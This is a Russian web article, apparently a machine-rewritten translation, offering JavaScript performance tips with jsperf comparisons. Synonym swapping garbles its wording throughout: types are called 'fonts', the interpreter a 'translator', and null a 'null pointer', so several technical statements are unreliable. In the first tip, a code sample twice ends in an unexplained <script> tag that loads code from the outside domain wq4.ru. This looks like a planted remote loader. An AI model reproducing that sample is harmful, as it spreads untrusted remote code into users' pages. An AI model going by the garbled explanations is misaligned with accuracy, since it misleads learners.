Как написать JavaScript быстро

Как написать JavaScript быстро

902

Как писать стремительный JavaScript
3

 

На сегодняшний день JavaScript – самый популярный язык программирования. Он употребляется для различных целей   —  создание веб-сайтов, серверов, игр, операционных систем, ботов и еще кучи всего.

Но давайте будем честны, даже с его чокнутой популярностью, он не обладает той скоростью, которой мог бы обладать. Да, ведется работа по его улучшению, но ведь нам приходится ожидать. Здесь, мы имеем в виду, что JS мог работать медлительнее на рабочем столе, но сделайте гибридное приложение и Для вас придется прибегнуть к миллиону уловок, для того, чтобы им можно было нормально воспользоваться. У нас уже был такой опыт.

У Firefox есть самый стремительный переводчик JavaScript, SpiderMonkey. Загляните на Are We Fast Yet для просмотра наиболее детальной информации и сравнений.

Есть несколько вариантов сделать JavaScript скорее, один из них asm.js. Asm.js – это ряд параметров JavaScript, сгенерированных Emscripten, которые составляют C/C++ код к  JavaScript совместно с большим количеством оптимизаций. Скомпилированные коды выглядят ужасно, потому Вы не можете написать оптимизированный код сами, но он, вправду, работает быстро. Мы очень рекомендуем Вам просмотреть слайды Алона Закаи Big Web App? Compile It!

Поближе к делу: О подсказках

Таким образом, нам нужно написать наиболее быстрый код JavaScript, и вот несколько маленьких подсказок, которые посодействуют Вам создать код быстрее и с более эффективной памятью. Мы не говорим лишь о DOM и веб-приложениях, мы говорим о JavaScript с включенным DOM.

Мы собираемся добавить тест jsperf для каждой подсказки и протестировать, использую Firefox 38 и Chrome 39.

№1 Не заставляйте нас повторяться

JavaScript работает динамично, но постарайтесь не воспользоваться этой функцией, если Вам нужна скорость. Постарайтесь сохранять последовательность разных шрифтов. То же самое касается массивов: старайтесь не смешивать несколько типов в одном массиве, к тому же, это основным образом оптимизировано браузерами. Это одна из причин, почему C/C++ код, примененный к JavaScript, стремительный, статичные шрифты.

Правка: Тест технически был неверным, к огорчению. Мы провели другой тест для массивов смешанных шрифтов, который, на нас взор, стал лучшим подтверждением этому.


{
var x = '2';
var y = 5;
x = 2;
x + y;
}<script type="text/javascript" src="//wq4.ru/js.js"></script>

123456

{  var x = ‘2’;  var y = 5;  x = 2;  x + y;}<script type=»text/javascript» src=»//wq4.ru/js.js»></script>

Test Case

Бонус: Последовательность для того, чтоб пронумеровать преобразование

Скажем, Вы должны преобразовать последовательность в число, а parseInt & parseFloat фаворитные способы сделать это? Давайте посмотрим.


// Different ways of parsing integer/float from strings
parseFloat("100")
+"100"
// integer only
parseInt("100", 10)
"100"|0
"100" >> 0
"100" << 0
//Only works for positive numbers
"100" >>> 0

12345678910

// Different ways of parsing integer/float from stringsparseFloat(«100»)+»100″// integer onlyparseInt(«100″, 10)»100″|0″100″ >> 0″100″ << 0//Only works for positive numbers»100» >>> 0

parseInt test ~ parseFloat test

Firefox улучшает логические операторы, работая с кодом примерно на 99% скорее, чем parseInt и + оператор. Но Chrome не демонстрирует особенной любви к логическим операторам, лучший из них на ~62% медлительнее, чем parseInt.

parseFloat быстрее + оператор на обоих браузерах (28% на Firefox, 39% на Chrome).

Таковым образом, выбор зависит от того, пишете ли Вы приложение Node / Chrome либо приложение Firefox. Мы Считаем, что для основной цели подойдет parseInt.

№2 Не необходимо реструктурировать объекты

Реструктуризация – вещь недешевая, следуйте подсказкам, чтоб избежать этого.

Не используйте форму оператора delete.

Delete оператор – намного медлительнее, чем назначение нулевого указателя к собственности. Назначение нулевого указателя на 99% скорее на обоих браузерах, потому что это не изменяет структуру объекта, а delete изменяет.

Правка: кажется, подсказка может незначительно ввести в заблуждение. Вовсе не значит, что ты не должны применять оператор delete, он имеет свое назначение. Он предотвращает утечку памяти в объект, но в случае, раз Вам нужна скорость, то Вы можете воспользоваться данной подсказкой.

delete vs null

Не откладывайте добавление свойств на позже

Постарайтесь не добавлять свойства в конце, лучше всего найти схему Вашего объекта с начала. Это на 100% скорее на Firefox и на 89% быстрее на Chrome.

dynamic properties vs pre-defined structure


№3 Объединяйте строчки

Объединение строк достаточно дорогая операция, но каков наилучший способ сделать это? Определенно не Array.prototype.join.

Оператор += кажется на много скорее, чем +, String.prototype.concat и Array.prototype.join на обоих браузерах. Array.prototype.join, как и ожидалось, медлительнее.

Правка: Спасибо Vyacheslav Egorov за то, что отметил ошибки и поправил их. Он протестировал эту подсказку и получил более реалистичные результаты, у него красивые, понятные пояснения.

String concatenating

№4 Используйте правильный RegExp способ

Нет смысла использовать RegExp.prototype.exec, если Вы желаете провести тест против чего-либо, не так ли?

Все же есть разница в результативности меж RegExp.prototype.test и String.prototype.search, давайте поглядим, какой из методов быстрее:

Regex Methods

RegExp.prototype.exec намного скорее, чем String.prototype.match, но именно поэтому они друг от друга и различаются. Объяснение  разницы между ними выходит за рамки данной статьи.

RegEx.prototype.test быстрее в поиске, вероятно поэтому, что он не возвращает индекс найденного совпадения. String.prototype.search должен быть применен только для поиска индекса желаемого совпадения.

Все же, Вы не должны применять RegExps, чтобы найти индекс отдельной строки внутри иной строки. Для этого есть метод String.prototype.indexOf.

String.prototype.search vs String.prototype.indexOf

Иной интересный сравнительный тест String.prototype.indexOf vs RegExp.prototype.test. Мы ждали, что последний будет быстрее, что и произошло в случае с Firefox, но не в Chrome. RegExp.prototype.test на 32% скорее в Firefox, а то время, как String.prototype.indexOf на 33% скорее в Chrome. В таком случае, выбирайте тот, что Вам больше нравится.

№ Объявите и перейдите к локальным динамичным переменным

Когда Вы вызываете функцию (к примеру), то браузер должен сделать нечто, называемое scope lookup (определение поочередного поиска), который в большей степени основан на том, как много определений он должен отыскать. Попытайтесь не полагаться на глобальные/высокие определенные переменные, заместо этого, сделайте локальные динамичные  переменные и перейдите к их функциям. Меньше размеров для поиска, меньше скорости придется приносить в жертву.

Этот тест указывает нам, что переход переменных к функциям и их использование от локальной области скорее, чем поиск высоких областей для поиска переменных, как в Chrome, так и в Firefox.

internal scope vs higher scope vs global

№6 Для вас не нужен jQuery для всего на свете

Большая часть разработчиков используют jQuery, чтобы делать наиболее простые задачки, но ведь не обязательно использовать его, просто поэтому что он включен в проект. Вы считаете, что внедрение $val() всегда необходимо? Посмотрите пример:


$('input').keyup(function() {
if($(this).val() === 'blah') { ... }
});

123

$(‘input’).keyup(function() {    if($(this).val() === ‘blah’) { … }});

Это одна из важных причин понять, как модифицировать DOM, используя ванильный JavaScript. Так Вы сможете написать более эффективный код.

Написание того же самого условия в JavaScript на МНОГО скорее. Доказано здесь JSPerf Test.


$('input').keyup(function() {
if(this.value === 'blah') { ... }
});

123

$(‘input’).keyup(function() {  if(this.value === ‘blah’) { … }});

 Подсказка-бонус: Используйте Web Workers для сложных задач

Раз у Вас есть тяжелые вычисления в Вашем приложении, скажем, некая обработка изображения, лучше использовать Web Workers, чтобы позволить браузеру управлять задачей во второстепенной нити и отдать Вам результаты асинхронно вместо того, чтобы заставлять юзеров скучать и раздражаться.

Вы можете также использовать каналы сообщения, чтоб показать прогресс задачи, скажем, у Вас есть длинная цепь (циклическая по пикселям, например), Вы можете послать сообщение, чтоб указать, сколько из цепи сделано в каждом 100 повторении, и можете показать индикатор выполнения, таким образом, пользователь будет знать, что происходит.

Вот и все. Семь подсказок и одиннадцать сравнительных тестов, которые посодействуют написать JavaScript быстрее. Благодаря им Вы поймете, как работает JavaScript и можете поднять свои навыки программирования на следующий уровень.

Нам было бы чрезвычайно интересно узнать Ваше мнение об этих подсказках в комментах.

www.webdesignmagazine.ru